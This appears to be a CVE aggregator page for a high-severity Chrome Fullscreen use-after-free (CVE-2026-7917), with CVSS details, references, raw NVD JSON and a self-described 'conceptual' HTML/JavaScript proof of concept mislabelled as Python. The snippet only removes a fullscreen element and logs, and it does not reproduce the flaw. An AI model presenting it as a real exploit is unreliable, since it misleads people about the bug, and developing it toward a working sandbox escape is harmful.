CVE-2026-7917

Description

Use after free in Fullscreen in Google Chrome on Windows prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-7917 (Conceptual) -->
<!-- This PoC demonstrates triggering the Fullscreen UAF condition -->
<html>
<body>
<script>
    // Attempt to trigger the Use-After-Free in Fullscreen logic
    function trigger_uaf() {
        var elem = document.createElement('div');
        document.body.appendChild(elem);
        
        // Enter fullscreen
        elem.requestFullscreen().then(() => {
            // Manipulate DOM elements to potentially trigger UAF condition
            // In a real exploit, specific memory corruption primitives would be used here
            document.body.removeChild(elem);
            // Force garbage collection or reuse operations
            if (window.gc) window.gc();
            
            // Attempt to access the freed object (Conceptual)
            console.log("Attempting to trigger UAF...");
        }).catch(err => {
            console.log("Fullscreen failed");
        });
    }
    
    trigger_uaf();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7917
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7917
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7917/
[4] VulDB https://vuldb.com/cve/CVE-2026-7917
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/498752242

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7917", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:39.970", "lastModified": "2026-05-06T23:39:31.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Fullscreen in Google Chrome on Windows prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/498752242", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}